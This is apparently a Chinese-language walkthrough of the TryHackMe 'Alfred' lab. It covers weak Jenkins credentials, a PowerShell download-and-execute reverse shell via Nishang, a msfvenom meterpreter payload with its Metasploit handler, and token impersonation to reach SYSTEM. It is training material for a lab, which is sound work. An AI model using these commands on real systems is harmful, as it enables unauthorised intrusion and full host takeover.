TryHackMe | Alfred Writeup

发布时间 2023-07-08 15:00:08作者: L0VEhzzz

TryHackMe | Alfred Writeup

Task 1 Initial Access

1.1How many ports are open?

nmap -sC -sV -A IP
 

image-20230707210130707

明显3个开放端口

1.2 - What is the username and password for the log in panel(in the format username:password)

问我们登入的账号密码是啥

研究了半天不知道密码在哪,结果是个弱密码 admin:admin

1.3

网上搜索发现Jenkins可以再设置的模块里面执行

先点击project进入项目,然后点击左侧那个configure设置,进入配置页面后,往下拉就能看到一个写着whoami的框,就是我们要找的命令执行入口

image-20230707211636512

输入命令后,点击save保存,然后回到前面那个页面点build

image-20230707211826796

然后就会发现下面的build history会多一个,点击那个新的进入build,再点击console即可执行命令

image-20230707211941973

image-20230707212000869

但是这时候我们是个普通用户,那我们就能想到可以使用PowerShell命令来执行反向shell了

所以我首先下载了一个名为“Nishang”的 GitHub 存储库,其中包含大量反向 shell

git clone https://github.com/samratashok/nishang.git

image-20230707213311604

查看目录内部,我们可以看到可以使用的各种不同的 shell。我们将使用 Invoke-PowershellTcp.ps1。

接下来,我只是使用 Python3 将整个目录以及所有 shell 托管在 Web 服务器上。

image-20230708130721060

一旦托管了反向shell,我们需要通过Jenkins配置页面中的Windows批处理命令使用PowerShell将其下载到目标机器上,然后运行它。

powershell iex (New-Object Net.WebClient).DownloadString(‘http://ip:80/Invoke-PowerShellTcp.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress ip -Port 1234
​
powershell iex (New-Object Net.WebClient).DownloadString('http://ip:80/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress ip -Port 1234
​
powershell iex (New-Object Net.WebClient).DownloadString('http://10.11.44.141:80/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.11.44.141 -Port 1234

 

然后将此命令粘贴到 Jenkins 的命令框中。

 

本机别忘记监听

image-20230708131342080

然后保存项目去构建执行

执行完后即可得到shell

image-20230708131635940

然后再用户的桌面目录找到user.txt

image-20230708134342322

Task 2 Switching Shells

接下来我们可以做的是将 shell 升级到可能的 meterpreter shell。首先,使用 msfvenom 生成 Windows 可执行格式的 meterpreter 反向 TCP payload。

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=IP LPORT=PORT -f exe -o shell-name.exe
这里注意俩个shell的port别混了
 

别忘记重启python的托管服务

然后在 Metasploit 中设置处理程序

use exploit/multi/handler 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST your-thm-ip 
set LPORT listening-port //这里的port是你第二次shell文件上设置的端口
run

然后在之前得到的后门shell执行下面的命令

powershell "(New-Object System.Net.WebClient).Downloadfile('http://your-thm-ip:8000/shell-name.exe','shell-name.exe')" 下载文件
​
Start-Process "shell-name.exe" 运行反弹文件
​
//powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.11.44.141:80/hhz.exe','hhz.exe')"

 

image-20230708141554933

执行完命令后,本地得到了meterpreter shell

image-20230708141612122

题目问的负载是在你创建文件时候回显的文件大小 73802bytes

Task 3 Privilege Escalation

Windows 使用令牌来确保帐户拥有执行特定操作的正确权限。当用户登录时,帐户令牌会分配给帐户 - 通常由 LSASS.exe 完成。

访问令牌包括:

  • User SIDs 用户

  • Group SIDs 组

  • Privileges 权限

Primary access tokens 
主要访问令牌:与登录时生成的用户帐户关联的令牌
mpersonation tokens
模拟令牌:允许特定进程(或进程中的线程)使用另一个(用户/客户端)进程的令牌来访问资源
 
对于模拟令牌,有不同的级别:
SecurityAnonymous 
    当前用户无法冒充其他用户/客户端
    SecurityIdentification 
    当前用户/客户端可以获得客户端的身份和权限,但不能冒充客户端
    SecurityImpersonation
    当前用户/客户端可以模拟本地系统上客户端的安全上下文
    SecurityDelegation
    当前用户/客户端可以模拟远程系统上客户端的安全上下文

 

常见的滥用特权(用来提权)

  • SeImpersonatePrivilege 冒充特权

  • SeAssignPrimaryPrivilege

  • SeTcbPrivilege

  • SeBackupPrivilege

  • SeRestorePrivilege Se恢复权限

  • SeCreateTokenPrivilege

  • SeLoadDriverPrivilege SeLoadDriverPrivilegy

  • SeTakeOwnershipPrivilege SeTake所有权特权

  • SeDebugPrivilege

接下来,我们可以运行 whoami /priv 命令来查看我们拥有的所有权限

image-20230708142729048

可以看到SeDebugPrivilege, SeImpersonatePrivilege是Enabled状态,有权限配置失误。

回到MSF的meterpreter这里,加载最重要的incognito来窃取我们的令牌然后,我们可以使用“list_tokens -g”列出令牌。

image-20230708143725139

一眼就看到了最上面的admin,说明我们有机会拿到admin的令牌

要模拟此令牌,我们可以使用命令 imperonsate_token “BUILTIN\Administrators”。

image-20230708143958005

收到一条成功消息,告诉我们它有效。而且getuid可以看到权限显示我们现在是 NT AUTHORITY\SYSTEM

但是,这并不总是意味我们有特权用户的权限。这是由于 Windows 处理权限的方式造成的——因为我们是用模拟令牌提权成功的,Windows权限这里还会考虑检查主要访问令牌。所以我们需要线程注入,溜到其它地方

ps 命令检查系统上正在运行哪些进程。

image-20230708144246742

有多个进程以 SYSTEM 身份运行。一些更安全的迁移目标是 winlogon 和 services.exe 这里看到services.exe的pid是668 直接注入进去 migrate 668

大功告成

image-20230708144416921

最后我们读取位于 C:\Windows\System32\config 的 root.txt 文件 完成room